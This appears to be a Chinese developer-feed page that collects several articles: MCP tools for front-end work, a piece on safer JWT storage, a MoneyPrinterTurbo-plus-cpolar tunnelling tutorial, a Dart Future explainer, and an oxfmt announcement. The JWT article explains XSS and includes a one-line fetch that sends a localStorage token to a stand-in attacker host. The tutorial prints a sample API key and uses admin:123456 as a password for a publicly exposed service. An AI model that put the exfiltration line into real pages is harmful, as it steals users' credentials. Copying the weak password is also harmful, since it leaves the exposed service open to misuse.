阅读视图

发现新文章,点击刷新页面。

让 AI 真正帮你开发:前端 MCP 实用技巧分享

前言

MCP 火了这么久,不少朋友已经开始写书、做教程,甚至搭建了各种 MCP 资源合集站。 但今天我想换个角度,聊聊我在日常前端开发中真正用到的一些实用 MCP。 这些都是经过实践筛选、能直接提升开发效率的工具,希望能对大家有所启发。

接下来,我会按照前端日常的几个典型工作场景,逐一介绍对应的 MCP 及使用方法。

image.png

Figma MCP

前端开发最常做的事情之一,就是还原设计稿。过去的做法通常是:左边打开 Figma,右边开 IDE,然后把 Figma Dev Mode 生成的代码“搬运”过来。有时候这些代码甚至不能直接用,开发效率自然不高。

后来大家开始尝试 D2C(Design to Code)工具,但随着 LLM 和 MCP 的出现,我们的 IDE 可以直接连接 Figma 的原始设计数据了。

参考我之前的文章,前端开发又幸福了,Cursor + Figma MCP 快速还原设计稿 - 掘金 进行简单配置后,就能快速还原设计稿的整体布局。我建议在样式书写上使用 Tailwind,这对 AI 辅助生成代码也更加友好。

虽然 AI 目前还不能做到完全精准还原,但相比我以前用过的 D2C 工具生成的代码,AI 输出的样式更可维护。以前 D2C 生成的代码常常充满了固定的 relativeabsolute 定位,难以在项目中长期维护。

我相信,AI 精准生成前端代码只是时间问题,预计未来 1-2 年内就能实现。

值得一提的是,Figma 官方也发布了 MCP 版本:Guide to the Figma MCP server – Figma Learn。不过我一直在用 GitHub 社区维护的 Figma MCP,体验很好,就没换官方版本。

Apifox MCP

在没有这个MCP之前,我都是用这样的方式联调接口代码的,参考我之前的文章,使用openapi这样的代码生成工具,然后AI再根据业务代码调整。借助代码生成与Cursor优化,让前端对接口更高效有了这个MCP就一步到位了。

配置 Apifox MCP 很简单,直接参考官方文档即可:Apifox MCP Server - Apifox 帮助文档

配置完成后,你只需要对 AI 说明:

“通过 Apifox MCP 读取 /xxx 前缀的接口,生成相关代码,参考接口样板文件 @xxx.ts。”

为了让 AI 更好地学习接口写法,建议在项目里创建一个 api-example.ts 文件,将业务接口的 TypeScript 类型与请求示例都放进去。AI 会参考这些样板代码来生成实际接口调用逻辑。

import request from '@/utils/request.ts';

export type ApiResponse<TData = unknown> = {
  status: number;
  msg: string;
  code: number;
  data?: TData;
  failedReason?: string;
};

export type PageResponse<T> = {
  records: T[];
  total: number;
  page: number;
  pageSize: number;
};

// 使用泛型的API函数示例

// GET 请求示例
export const getUserList = () => {
  return request.get<ApiResponse<PageResponse<User>>>('/users');
};

// POST 请求示例
export const createUser = (data: CreateUserRequest) => {
  return request.post<ApiResponse<User>>('/users', data);
};

若公司前后端联调未使用Apifox的话,应该至少也有 swagger,可以使用 Swagger MCP试试,参考文章 🚀🚀🚀 告别复制粘贴,这个高效的 Vite 插件让我摸鱼🐟时间更充足了

Context7 MCP

Context7 MCP 的作用很简单:帮助 AI 更好地读取第三方库的文档

在实际开发中,你可能会使用一些不太常用的 npm 包,或者最新版本的包接口已经更新了,而 AI 训练的数据里没有这些最新信息。这时,如果不使用 MCP,LLM 很容易出现“幻觉”,随意编写错误的代码。

使用 Context7 MCP,就能让 AI 获取最新的 API 文档,从而避免错误。

举个例子,我在项目中使用的组件库是 Arco Design。它不像 Ant Design 那么出名,有些组件的 props AI 可能会套用他印象中的组件库写法,这显然是错误的。
所以我每次都会让 AI 先通过 Context7 MCP 查看 Arco Design 的具体组件文档,再生成对应代码,这样输出才准确可靠。

文档链接:context7/docs/README.zh-CN.md

Chrome Devtool MCP

Chrome 官方也提供了 MCP,用来让 AI 直接读取浏览器控制台的数据
在本地调试时,你可能需要先登录 Chrome,然后在启动的实例中完成登录操作。配置好后,就可以让 AI 分析控制台日志、排查 bug,甚至进行性能分析,大大提升调试效率。

官方文档:适用于 AI 代理的 Chrome 开发者工具 (MCP)

举个例子,我之前遇到一些 React 重渲染问题,没用这个 MCP 前,AI 只能让我加一堆 console.log,然后把控制台输出复制给它分析。
现在直接告诉 AI 使用 Chrome DevTools MCP,它就能自己查看日志,分析问题,效率瞬间提升,爽歪歪。

结语

以上就是我在日常前端开发中经常使用的一些实用 MCP,希望对大家有所帮助。
它们可以显著提高开发效率、减少重复劳动,也让 AI 辅助开发真正发挥价值。

前端鉴权新时代:告别 localStorage,拥抱更安全的 JWT 存储方案

如果你是一名前端开发者,下面这行代码可能早已成为你的肌肉记忆:

localStorage.setItem('token', jwtToken);

简单、直接、有效。多年来,将 JWT 存储在 localStorage 中似乎是前后端分离架构下的"标准答案"。但随着网络安全威胁的不断演进,这个曾经的"最佳实践"如今已成为巨大的安全隐患。

2025 年即将到来,前端生态日新月异。如果我们仍在沿用旧的鉴权模式,无异于将精心构建的应用暴露在风险之中。是时候更新我们的知识库,拥抱更安全的鉴权新思路了。

localStorage 的安全隐患:为何它不再适用?

localStorage 的核心问题在于其对 XSS 攻击的脆弱性。

XSS 攻击原理

XSS 攻击是指攻击者在我们的网站上注入并执行恶意 JavaScript 脚本。注入途径多样,可能是用户渲染的恶意评论,也可能是包含恶意代码的 URL 参数。

XSS 如何窃取 localStorage 中的 Token

一旦恶意脚本在页面上成功执行,它就拥有了与我们前端代码几乎相同的权限。攻击者只需一行简单代码,就能将存储的 JWT 发送到自己的服务器:

// 恶意脚本示例
fetch('https://attacker-server.com/steal?token=' + localStorage.getItem('token'));

Token 一旦被盗,攻击者就能冒充用户身份,访问所有依赖该 Token 的后端接口,造成毁灭性后果。

结论:localStorage 本质上是对 JavaScript 完全开放的沙盒。任何能在我们页面上执行的脚本都能读写其中所有数据。将敏感的用户身份凭证存放在此,就像把家门钥匙挂在门外的钉子上——方便了自己,也方便了小偷。

传统解决方案:HttpOnly Cookie 的利与弊

为解决 XSS 盗取 Token 的问题,社区提出了经典方案:使用 HttpOnly Cookie。

当服务器设置 Cookie 时添加 HttpOnly 标志,该 Cookie 将无法通过客户端 JavaScript 访问,浏览器只会在发送 HTTP 请求时自动携带它。

优势

  • 有效防御 XSS 盗取:JavaScript 无法读取,XSS 攻击者无法直接窃取 Token

  • 浏览器自动管理:无需前端代码手动在每个请求头中添加 Authorization

挑战:CSRF 攻击

HttpOnly Cookie 带来了新的安全挑战——CSRF 攻击。

CSRF 攻击指攻击者诱导已登录用户从恶意网站发起非本意的请求。例如,用户登录了 bank.com 后访问 evil.com,该网站上的自动提交表单会向 bank.com 的转账接口发起请求,浏览器自动携带 Cookie 完成转账。

解决方案

  • SameSite 属性:将 Cookie 的 SameSite 属性设置为 Strict 或 Lax,有效阻止跨站请求携带 Cookie

  • CSRF Token:服务器生成随机 CSRF Token,前端在状态变更请求中携带,服务器进行验证

HttpOnly Cookie 方案虽然可行,但要求后端进行精细的 Cookie 配置和 CSRF 防御,对于现代前后端分离、特别是跨域调用场景,配置复杂度较高。

2025 年前端鉴权新思路

有没有既能有效防范 XSS,又能优雅适应现代前端架构的方案?以下是两种值得在 2025 年及以后重点关注的鉴权模式。

方案一:BFF + Cookie 模式

BFF 模式在前端应用和后端微服务之间增加"服务于前端的后端"层,专门负责鉴权、API 聚合和数据转换。

鉴权流程
  1. 登录:前端将用户名密码发送给 BFF

  2. 认证与换取:BFF 将凭证发送给认证服务,获取 JWT

  3. 设置安全 Cookie:BFF 创建会话,将 Session ID 存储在安全的 HttpOnly、SameSite=Strict Cookie 中返回给浏览器

  4. API 请求:前端向 BFF 发起所有 API 请求,浏览器自动携带 Session Cookie

  5. 代理与鉴权:BFF 通过 Session Cookie 找到对应会话和 JWT,将 JWT 添加到请求头中转发给后端微服务

优势
  • 极致安全:JWT 完全不暴露给前端,XSS 攻击者无从窃取

  • 前端无感:前端开发者无需关心 Token 的存储、刷新和携带

  • 架构清晰:BFF 层处理所有安全和服务通信复杂逻辑,前端专注 UI

缺点
  • 增加了架构复杂度,需要额外维护 BFF 服务

方案二:Service Worker + 内存存储

这是更"激进"的纯前端方案,利用 Service Worker 的强大能力。

鉴权流程
  1. 登录:主线程登录成功后,通过 postMessage 将 JWT 发送给激活的 Service Worker

  2. 内存存储:Service Worker 将 Token 存储在自身作用域内的变量中(内存中),不使用 localStorage 或 IndexedDB

  3. 拦截请求:前端应用发起 API 请求,但不添加 Authorization 头

  4. 注入 Token:Service Worker 监听 fetch 事件,拦截所有出站 API 请求,克隆原始请求并将内存中的 Token 添加到新请求的 Authorization 头中

  5. 发送请求:Service Worker 将带有 Token 的新请求发送到网络

优势
  • 有效隔离:Token 存储在 Service Worker 的独立运行环境中,与主线程的 window 对象隔离,常规 XSS 脚本无法访问

  • 逻辑集中:Token 刷新逻辑可封装在 Service Worker 中,对应用代码完全透明

  • 无需额外服务:相比 BFF,这是纯前端解决方案

缺点
  • 实现复杂,Service Worker 的生命周期和通信机制比 localStorage 复杂得多

  • 需考虑浏览器兼容性及 Service Worker 被意外终止或更新的场景

方案对比

方案

防御 XSS 窃取

防御 CSRF

前端复杂度

后端/架构复杂度

推荐场景

localStorage

❌ 极差

✅ 天然免疫

⭐ 极低

⭐ 极低

不推荐用于生产环境的敏感数据

HttpOnly Cookie

✅ 优秀

⚠️ 需手动防御

⭐⭐ 较低

⭐⭐⭐ 中等

传统 Web 应用,或有能力处理 CSRF 的团队

BFF + Cookie

✅✅ 顶级

✅✅ 顶级

⭐ 极低

⭐⭐⭐⭐ 较高

中大型应用,微服务架构,追求极致安全与清晰分层

Service Worker

✅ 优秀

✅ 天然免疫

⭐⭐⭐⭐ 较高

⭐ 极低

PWA,追求纯前端解决方案,愿意接受更高复杂度的创新项目

总结与建议

将 JWT 存储在 localStorage 的时代正在过去。这不是危言耸听,而是对日益严峻的网络安全形势的积极响应。

  • 对于新项目或有重构计划的项目,强烈建议采用 BFF + Cookie 模式。虽然增加了架构成本,但换来的是顶级的安全性和清晰的职责划分,从长远看是值得的投资。

  • 对于追求极致前端技术或构建 PWA 的团队,Service Worker 方案提供了充满想象力的选择,能够将安全边界控制在前端内部。

  • 如果应用规模较小且暂时无法引入 BFF,HttpOnly Cookie 配合严格的 SameSite 策略和 CSRF Token,依然是比 localStorage 安全得多的可靠选择。

安全不是可选项,而是必选项。在 2025 年即将到来之际,让我们共同构建更安全、更健壮的前端应用。

MoneyPrinterTurbo一键生成短视频:cpolar内网穿透实验室第644个成功挑战

NO.644 MoneyPrinterTurbo-1.png

软件名称:MoneyPrinterTurbo
操作系统支持
  • Windows、macOS、Linux(需安装Python环境及FFmpeg依赖库)。
软件介绍

MoneyPrinterTurbo是专为内容创作者设计的“AI视频工厂”,通过调用通义千问、DeepSeek等语言模型,结合无版权素材平台和语音合成技术,实现从主题输入到成品视频输出的全流程自动化。无需剪辑技能,小白也能批量生成高质量短视频。

NO.644 MoneyPrinterTurbo-2.png

一键生成高质量短视频,MoneyPrinterTurbo的AI魔力

  • “AI脚本撰写”像给脑瓜子装了加速器:输入主题后,通义千问瞬间帮你写出逻辑清晰、吸引人的文案。
  • 素材匹配比淘宝购物还快:Pexels平台海量免费高清视频片段自动筛选,再也不用熬夜翻素材库!
  • TTS配音堪比专业声优:支持多种语言和音色(甜美小姐姐/磁性大叔),连字幕都帮你生成,省掉后期90%的麻烦。

实用场景

1. 知识科普创作者的救星
  • 痛点:“如何用AI教普通人理财?”这类视频需要大量数据支撑和动画演示,手动制作费时又难懂。
  • MoneyPrinterTurbo解决方案:输入主题后,系统自动生成条理清晰的文案(如“复利计算公式”),匹配动态图表素材,搭配轻快背景音乐——10分钟出片,观众点赞量翻倍!
2. 企业促销视频批量生产
  • 痛点:“6·18大促需要同时推10款产品,但剪辑团队人手不够。”
  • MoneyPrinterTurbo解决方案:批量输入产品关键词(如“智能手表”“无线耳机”),系统并行生成多条带品牌LOGO和促销字幕的视频,一键导出上传各平台。

NO.644 MoneyPrinterTurbo-3.png

远程操控你的“AI短视频工厂”,全靠cpolar内网穿透!

  • 场景1:私有素材库远程访问
    • 公司内部存储了大量品牌专属图片/视频,但本地服务器无法公网直连?通过cpolar映射端口,创作者在家就能调用公司素材库,生成符合品牌的定制化内容。
  • 场景2:AI模型加速器
    • MoneyPrinterTurbo支持接入私有部署的通义千问、DeepSeek等大模型服务器,但企业内网防火墙限制公网访问?cpolar反向代理技术帮你打通通道,在咖啡厅也能流畅调用本地大模型生成脚本。
  • 场景3:团队协作无边界
    • 设计师在外地出差,想远程控制办公室的电脑批量剪辑视频?通过cpolar将MoneyPrinterTurbo服务端暴露到公网,手机扫码即可操作——“天涯海角都不耽误赶稿”!

NO.644 MoneyPrinterTurbo-4.png

总结与组合优势

MoneyPrinterTurbo如同给内容创作者装上了“AI外挂”,让短视频生产从“手工活”升级为“全自动生产线”。而结合cpolar内网穿透技术,更是打破了物理距离的束缚——无论素材、模型还是设备资源,都能随时随地调用。这对需要跨团队协作或依赖本地化数据的企业而言,简直是“效率神器+安全锁”的完美组合!

NO.644 MoneyPrinterTurbo-5.png

在这个人人自媒体的时代,这套强大的组合技可是有追求的博主必备的呦!

秘籍已经整理如下,拿走不谢呦!

1 MoneyPrinterTurbo是什么?

image-20250929180437974

项目地址:

https://github.com/harry0703/MoneyPrinterTurbo

MoneyPrinterTurbo 是一款基于 AI 大模型的开源自动化短视频生成工具。它的核心目标是帮助用户一键生成高质量的短视频,大幅降低内容创作的技术门槛。

你只需提供一个视频主题或关键词(如“如何提高工作效率”),它就能自动完成以下全流程:

  • AI 生成视频文案:调用通义千问、DeepSeek、OpenAI、Gemini 等大模型,自动生成中文或英文脚本。
  • 自动匹配视频素材:从 Pexels 等无版权视频平台搜索与文案关键词匹配的高清片段。
  • 语音合成(TTS) :支持多种语音引擎(如 Azure、gTTS、OpenAI TTS),将文案转为自然语音。
  • 智能字幕生成:自动生成与语音同步的字幕,支持调整字体、颜色、位置、描边等样式。
  • 背景音乐添加:可使用内置音乐或指定本地音频文件,并调节音量。
  • 视频合成输出:使用 moviepyFFmpeg 将所有元素合成为 1080x1920(竖屏)或 1920x1080(横屏)的高清 MP4 视频。

2 本地部署MoneyPrinterTurbo

在 Windows 系统上部署 MoneyPrinterTurbo 有多种方式,本文推荐使用 Windows 一键启动包,无需手动配置 Python 环境,适合大多数用户快速上手。

2.1 环境准备

在开始前,请确保你的 Windows 电脑满足以下基本要求:

  • 操作系统:Windows 10 / 11(64位)
  • 内存:建议 8GB 及以上
  • 硬盘空间:至少 5GB 可用空间(用于缓存素材和生成视频)
  • 网络:需能访问 Pexels、大模型 API(如 DeepSeek、通义千问等)
  • Windows 一键启动包:www.123865.com/s/3jOKVv-XM… 提取码: 1314image-20250929175724555

2.2 项目启动

💡 提示:解压路径不要包含中文或空格,避免运行出错。

整合包下载至本地,进入整合包目录,双击update.bat将代码更新至最新版本: image-20250929180016926

更新完成后,直接双击start.bat脚本,进行启动:

image-20250929180129210

启动成功后会直接跳转浏览器打开,如果没有直接打开,在控制台可以看到出现了一个地址,访问这个地址即可打开:

http://localhost:8501

image-20250929180746216

至此,MoneyPrinterTurbo 项目已经成功启动,Web 界面也可正常访问。但要让系统高效、稳定地生成高质量视频,还需要进行一些关键配置。

2.3 配置视频素材源(Pexels API)

首先,访问 Pexels 开发者平台,注册并登录上账号:

https://www.pexels.com/zh-cn/api/

image-20250929181221176

然后点击页面上的你的API密钥按钮: image-20250930104245487

进入到密钥页面,点击复制图标: image-20250930104327028

接下来,需要将密钥配置到MoneyPrinterTurbo项目中: image-20250930104441808

好了,视频素材源就配置好了!

2.4 配置千问大模型APIkey

阿里云百炼官方推出了一个重磅福利:新用户登录即可享受每个模型100万免费Tokens,参考图如下:

image-20250912172238010

所以我们可以使用阿里云百炼的Api-key来进行使用,且是免费的,就以通义千问-Plus为例:

首先,咱们需要领取千问百万tokens,来到阿里云百炼官网,点击右上角新用户登录即享每个模型100万免费tokens:

阿里云百炼官网

https://bailian.console.aliyun.com/#/home

image-20250912172402285

领取完成后,接下来进入密钥管理,设置设置千问api密钥: 密钥管理地址

https://bailian.console.aliyun.com/?spm=a2c4g.11186623.0.0.60907980OAftBf&tab=model#/api-key

点击创建api-key,填写完信息:

image-20250818100001054

然后点击复制按钮:

image-20250818100131402

复制下来格式大概如下:

sk-53207f95f7e44ec18d05669767f649b7

然后回到MoneyPrinterTurbo 页面.点击点击展开,然后在大模型设置栏的大模型提供商选择Qwen,API Key填写上面复制下来的Api key,模型名称填写qwen-plus,最后Base Url填写:

https://dashscope.aliyuncs.com/compatible-mode/v1/chat/completions

参考如下图: image-20250930111339800

填写完成后,就可以啦!

3 使用MoneyPrinterTurbo生成视频

首先,在文案设置这一个区块中,设置一个视频主题,生成视频脚本的语言自动检测即可,或者选择对应的语言也行,比如zh-CN,然后点击使用AI根据主题生成文案和关键词image-20250930112152102

生成完成后,会自动显示视频的文案视频关键词: image-20250930112249351

接着,来到视频设置页面,视频来源选择Pexels(前面已经配置好了这个视频素材源,也可以选择本地的素材),参考如下图说明:

image-20250930112822915

上面以16:9的横屏效果作为演示,接下来设置音频相关设置: image-20250930113141015

接下来,设置字幕相关的配置,可以设置字幕的字体、显示位置、字幕颜色,参考如下图: image-20250930113416366

这里设置的为黄色的字幕,全部设置完成后,接下来点击底部的生成视频按钮:

image-20250930113508140

点击后,可以看到下方日志生成了,提示开始生成视频: image-20250930113624851

视频生成完成后,下方会显示视频,以及提示视频生成完成,也会自动打开资源管理器,如下图: image-20250930114426398

至此,你已完成使用 MoneyPrinterTurbo 从“主题 → 文案 → 素材 → 配音 → 字幕 → 成片”的全流程演示,并在本地成功产出视频。

4 穿透 MoneyPrinterTurbo 实现公网访问

现在,MoneyPrinterTurbo 已在本地成功运行,也能生成高质量视频。但问题来了:服务仅限本机访问

这意味着:

  • 你必须一直开着电脑,不能关机或休眠
  • 一旦离开办公室或家庭网络,就无法查看生成进度
  • 无法在手机、平板或其他设备上远程启动任务

对于希望实现“无人值守”或“随时随地管理”的用户来说,这显然不够理想。

这时,就需要 cpolar 出场了。通过 cpolar 的内网穿透能力,我们可以将本地运行的 http://127.0.0.1:8501 服务暴露到公网,生成一个唯一的公网 HTTPS 地址,无需公网 IP,也无需复杂的网络配置。从此,无论身处何地,只要有网络,就能通过浏览器远程访问 MoneyPrinterTurbo 的管理界面,真正实现“随时启动、随时查看”的远程可控内容生产平台。

4.1 什么是cpolar?

image-20250910114418412

  • cpolar 是一款内网穿透工具,可以将你在局域网内运行的服务(如本地 Web 服务器、SSH、远程桌面等)通过一条安全加密的中间隧道映射至公网,让外部设备无需配置路由器即可访问。
  • 广泛支持 Windows、macOS、Linux、树莓派、群晖 NAS 等平台,并提供一键安装脚本方便部署。

4.2 下载cpolar

打开cpolar官网的下载页面:www.cpolar.com/download 点击立即下载 64-bit按钮,下载cpoalr的安装包:

image-20250815171202537

下来下来是一个压缩包,解压后执行目录种的应用程序,一路默认安装即可,安装完成后,打开cmd窗口输入如下命令确认安装:

cpolar version

image-20250815171446129

出现如上版本即代表安装成功!

4.3 注册及登录cpolar web ui管理界面

4.3.1 注册cpolar

官网链接:www.cpolar.com/

访问cpolar官网,点击免费注册按钮,进行账号注册

image-20250804085039567

进入到如下的注册页面进行账号注册: image-20250804085208319

4.3.2 访问web ui管理界面

注册完成后,在浏览器中输入如下地址访问 web ui管理界面:

http://127.0.0.1:9200

image-20250815171734046

输入刚才注册好的cpolar账号登录即可进入后台页面:

image-20250815171846757

4.4 穿透 MoneyPrinterTurbo 项目的WebUI界面

4.4.1 随机域名方式(免费方案)

随机域名方式适合预算有限的用户。使用此方式时,系统会每隔 24 小时 左右自动更换一次域名地址。对于长期访问的不太友好,但是该方案是免费的,如果您有一定的预算,可以查看大纲4.4.2固定域名方式,且访问更稳定

点击左侧菜单栏的隧道管理,展开进入隧道列表页面,页面下默认会有 2 个隧道:

  • remoteDesktop隧道,指向3389端口,tcp协议
  • website隧道,指向8080端口,http协议(http协议默认会生成2个公网地址,一个是http,另一个https,免去配置ssl证书的繁琐步骤)

image-20250914174356363

点击编辑website的隧道,修改成我们MoneyPrinterTurbo需要的信息:

image-20250930134201437

接着来到在线隧道列表,可以看到名称为MoneyPrinterTurbo-8501隧道的两条记录信息,一条协议为http,另一条协议为https:

image-20250930134254323

以https为例,访问测试(加载稍慢,需耐心等待一下):

image-20250930134316428

可以看到,我们已成功访问到 MoneyPrinterTurbo 的 Web 界面。恭喜!你已成功实现本地服务的公网远程访问。 现在,无论是在外出途中、异地办公,还是在其他网络环境下,只要设备能联网,就可以随时查看任务状态、提交新视频生成任务,真正将你的 AI 视频生成平台变成一个“始终在线”的自动化内容工厂。

4.4.2 固定域名方式(升级任意套餐皆可)

通过前面的配置,我们已经成功实现了 MoneyPrinterTurbo 的远程访问。但免费随机域名方案的局限性也随之而来:每24小时自动更换一次地址,意味着你需要频繁更新书签、重新分享链接,甚至可能因一时疏忽而无法访问。固定域名方案正是为解决这些痛点而生,从此告别地址变更困扰,打造真正稳定可靠的远程内容生成平台。

好啦,接下来开始固定保留二级子域名教程!

首先,进入官网的预留页面:

https://dashboard.cpolar.com/reserved

选择预留菜单,即可看到保留二级子域名项,填写其中的地区名称描述(可不填)项,然后点击保留按钮,操作步骤图如下:

image-20250930135132155

列表中显示了一条已保留的二级子域名记录:

  • 地区:显示为China Top
  • 二级域名:显示为mpt

注:二级域名是唯一的,每个账号都不相同,请以自己设置的二级域名保留的为主

接着,进入侧边菜单栏的隧道管理下的隧道列表,可以看到名为MoneyPrinterTurbo-8501的隧道,点击编辑按钮进入编辑页面:

image-20250930135301122

修改域名类型为二级子域名,然后填写前面配置好的子域名,点击更新按钮:

image-20250930135400511

来到状态菜单下的在线隧道列表可以看到隧道名称为MoneyPrinterTurbo-8501的公网地址已经变更为二级子域名+固定域名主体及后缀的形式了:

image-20250930135446257

这里以https协议做访问测试(加载稍慢,需耐心等待一下):

image-20250930135542592

访问成功!通过绑定固定域名,你再也不用担心每24小时更换地址的困扰。现在,你可以将这个稳定链接添加到浏览器书签,分享给团队成员,甚至用于日常内容生产的管理流程。恭喜!你已顺利完成从免费隧道到固定域名的升级,迈出了打造专业化、可远程管理的AI视频生成平台的重要一步。

5 为 MoneyPrinterTurbo 添加访问授权验证

在完成公网部署后,你会发现 MoneyPrinterTurbo 默认是无需登录即可访问的。虽然这便于快速使用,但在家庭共享网络或团队协作场景下,可能会带来安全隐患。 例如:他人可通过公网地址随意提交视频生成任务,甚至查看配置信息,存在泄露 API 密钥、滥用资源的风险。 为了保障系统安全,我们可以借助 cpolar 内置的访问授权验证功能,为公网隧道添加密码保护,确保只有知道凭证的用户才能访问你的 MoneyPrinterTurbo 实例。

5.1 为什么需要访问授权?

  • 隐私保护:防止未经授权的用户访问你的视频生成任务和本地数据
  • 资源安全:避免大模型 API Key(如 DeepSeek、通义千问)被泄露或恶意调用
  • 访问控制:确保只有你或指定团队成员可以操作平台
  • 成本控制:AI API 通常按调用次数计费,开启验证可有效防止恶意刷量导致费用激增

5.2 配置访问授权验证

首先,打开cpolar管理界面,进入隧道管理隧道列表,找到MoneyPrinterTurbo-8501隧道,点击编辑按钮:

image-20250930140434363

在编辑页面中,点击高级按钮展开高级配置选项,按照下图进行设置:

在HttpAuth这一栏,输入admin:123456 其中【admin】为你想要设置的账号,中间的冒号是英文的(不是中文),【123456】为想要给admin用户设置的密码

image-20250930140649444

5.3 验证授权效果

重新访问你的公网地址,会发现浏览器弹出登录验证框:

image-20250930140723228

输入刚才设置的用户名和密码,即可正常访问 MoneyPrinterTurbo 的 Web 界面。通过这一道简单的访问验证,你的视频生成平台就具备了基础的安全防护,在享受远程访问便利的同时,有效保障了本地内容、AI 配置与 API 资源的安全。

总结

本文带你完整实现了 MoneyPrinterTurbo + cpolar 的远程可控自动化视频生成平台搭建:

  • 高效生产:只需输入主题,AI 自动完成脚本生成、素材匹配、语音合成与视频剪辑,大幅提升内容产出效率。
  • AI 驱动:支持 DeepSeek、通义千问、Gemini 等主流大模型,灵活配置,智能创作。
  • 远程访问:通过 cpolar 内网穿透,将本地服务暴露至公网,随时随地管理生成任务。
  • 稳定可用:升级套餐后可使用固定域名,避免免费隧道每 24 小时更换地址的困扰。
  • 安全可控:启用访问授权验证,防止未授权用户操作平台,保护 API 密钥与生成资源。
  • 低成本部署:无需服务器、无需公网 IP,本地电脑即可搭建 7×24 小时运行的内容工厂。

这套组合方案技术成熟、部署简单,特别适合自媒体创作者、企业宣传团队或 AI 爱好者,快速实现高质量短视频的自动化生产。

如果你也在寻找一个高效、可控、可扩展的 AI 视频生成解决方案,不妨立即动手部署属于你的 MoneyPrinterTurbo 工作台!

感谢阅读本文,欢迎留言交流。cpolar官网 - 安全的内网穿透工具 | 无需公网IP | 远程访问 | 搭建网站

flutter中 Future 详细介绍

我来为您详细介绍Flutter中Future的具体用法、使用场景,以及与JavaScript Promise的异同。

Future 基本概念

Future是Dart中表示异步操作结果的对象,类似于JavaScript中的Promise。它代表一个可能在未来某个时间点完成或失败的计算。

Future 基本用法

1. 创建Future

// 1. 使用Future构造函数
Future<String> fetchUserData() {
  return Future(() {
    // 模拟异步操作
    return "用户数据";
  });
}

// 2. 使用Future.delayed(您代码中的用法)
Future.delayed(Duration(seconds: 2), () {
  return "延迟2秒后返回的数据";
});

// 3. 使用Future.value(立即完成的Future)
Future<String> immediateFuture = Future.value("立即完成的值");

2. Future的链式操作

Future<int> fetchNumber() {
  return Future.delayed(Duration(seconds: 1), () => 42);
}

void processFuture() {
  fetchNumber()
    .then((number) {
      print('获取到的数字: $number');
      return number * 2;
    })
    .then((doubled) {
      print('加倍后的数字: $doubled');
      return doubled + 10;
    })
    .then((result) {
      print('最终结果: $result');
    })
    .catchError((error) {
      print('发生错误: $error');
    })
    .whenComplete(() {
      print('操作完成,无论成功或失败都会执行');
    });
}

与JavaScript Promise的异同

相同点:

  • 都表示异步操作的结果
  • 都支持链式调用(then/catch)
  • 都有错误处理机制
  • 都可以处理异步操作的成功和失败

不同点:

特性 Dart Future JavaScript Promise
创建方式 Future(() => value) new Promise((resolve, reject) => {})
错误处理 catchError() catch()
最终执行 whenComplete() finally()
异步等待 await future await promise
多个操作 Future.wait() Promise.all()

实际使用案例

案例1:HTTP请求

import 'package:http/http.dart' as http;

Future<void> fetchUserProfile() async {
  try {
    final response = await http.get(Uri.parse('https://api.example.com/user'));
    
    if (response.statusCode == 200) {
      print('用户数据: ${response.body}');
    } else {
      throw Exception('请求失败: ${response.statusCode}');
    }
  } catch (e) {
    print('网络请求错误: $e');
  }
}

// 使用then的等价写法
void fetchUserProfileWithThen() {
  http.get(Uri.parse('https://api.example.com/user'))
    .then((response) {
      if (response.statusCode == 200) {
        print('用户数据: ${response.body}');
      } else {
        throw Exception('请求失败: ${response.statusCode}');
      }
    })
    .catchError((error) {
      print('网络请求错误: $error');
    });
}

案例2:文件操作

import 'dart:io';

Future<void> readFileContent() async {
  final file = File('path/to/file.txt');
  
  try {
    final contents = await file.readAsString();
    print('文件内容: $contents');
  } catch (e) {
    print('读取文件错误: $e');
  }
}

案例3:多个Future并行处理

Future<void> fetchMultipleData() async {
  final future1 = http.get(Uri.parse('https://api.example.com/users'));
  final future2 = http.get(Uri.parse('https://api.example.com/posts'));
  final future3 = http.get(Uri.parse('https://api.example.com/comments'));
  
  try {
    final results = await Future.wait([future1, future2, future3]);
    
    print('用户数据: ${results[0].body}');
    print('帖子数据: ${results[1].body}');
    print('评论数据: ${results[2].body}');
  } catch (e) {
    print('部分请求失败: $e');
  }
}

案例4:超时控制

Future<void> fetchWithTimeout() async {
  final future = http.get(Uri.parse('https://api.example.com/slow'));
  
  try {
    final response = await future.timeout(Duration(seconds: 5));
    print('请求成功: ${response.body}');
  } on TimeoutException {
    print('请求超时');
  } catch (e) {
    print('其他错误: $e');
  }
}

案例5:在Flutter Widget中使用FutureBuilder

class UserProfileWidget extends StatelessWidget {
  final Future<User> userFuture;
  
  UserProfileWidget({required this.userFuture});
  
  @override
  Widget build(BuildContext context) {
    return FutureBuilder<User>(
      future: userFuture,
      builder: (context, snapshot) {
        if (snapshot.connectionState == ConnectionState.waiting) {
          return CircularProgressIndicator();
        } else if (snapshot.hasError) {
          return Text('错误: ${snapshot.error}');
        } else if (snapshot.hasData) {
          return Text('用户名: ${snapshot.data!.name}');
        } else {
          return Text('暂无数据');
        }
      },
    );
  }
}

您代码中Future用法的解释

基于您提供的代码片段:

Future.delayed(Duration(seconds: 2), () {
  print('Response status: ${response.statusCode}');
  print('Response body: ${response.body}');
  return 100;
})
.then((value) {
  print('value: $value');
})
.whenComplete(() {
  print('whenComplete');
});

这个代码的含义是:

  1. 延迟2秒执行异步操作
  2. 打印响应状态和内容,返回数字100
  3. 通过then处理返回的值
  4. 无论成功或失败,最后都会执行whenComplete

Future与Stream的区别

  • Future:表示单个异步操作的结果(一次性)
  • Stream:表示一系列异步事件的序列(多次)
// Future - 一次性
Future<int> getSingleValue() async {
  return 42;
}

// Stream - 多次
Stream<int> getMultipleValues() async* {
  for (int i = 0; i < 5; i++) {
    yield i;
    await Future.delayed(Duration(seconds: 1));
  }
}

Future是Flutter异步编程的核心概念,熟练掌握它的使用对于开发高质量的Flutter应用至关重要。

尤雨溪宣布 oxfmt 即将发布!比 Prettier 快45倍 🚀🚀🚀

前言

尤雨溪宣布,基于 Oxc 的 oxfmt 的代码格式化工具,即将发布,Prettier 快45倍!

![尤雨溪推特转存失败,建议直接上传图片文件

本文将带大家聚焦 oxfmt 的核心功能和优势!

往期精彩推荐

正文

oxfmt 是 Oxc 项目的新一代格式化工具,依托 Rust 驱动的解析和转换能力,专为现代 JavaScript/TypeScript 项目设计。

它已在 Prettier、Vite 等主流代码库中测试,验证了其作为 Prettier 替代品的可靠性。

下面是 oxfmt 的核心功能和优势!

生态兼容性:无缝替代Prettier

oxfmt实现99%+的Prettier格式兼容,确保切换时差异最小,避免大规模代码重构。

  • 测试验证:在Vite、Vue、Ant Design等项目中,oxfmt输出与Prettier高度一致,保持现有工作流稳定。
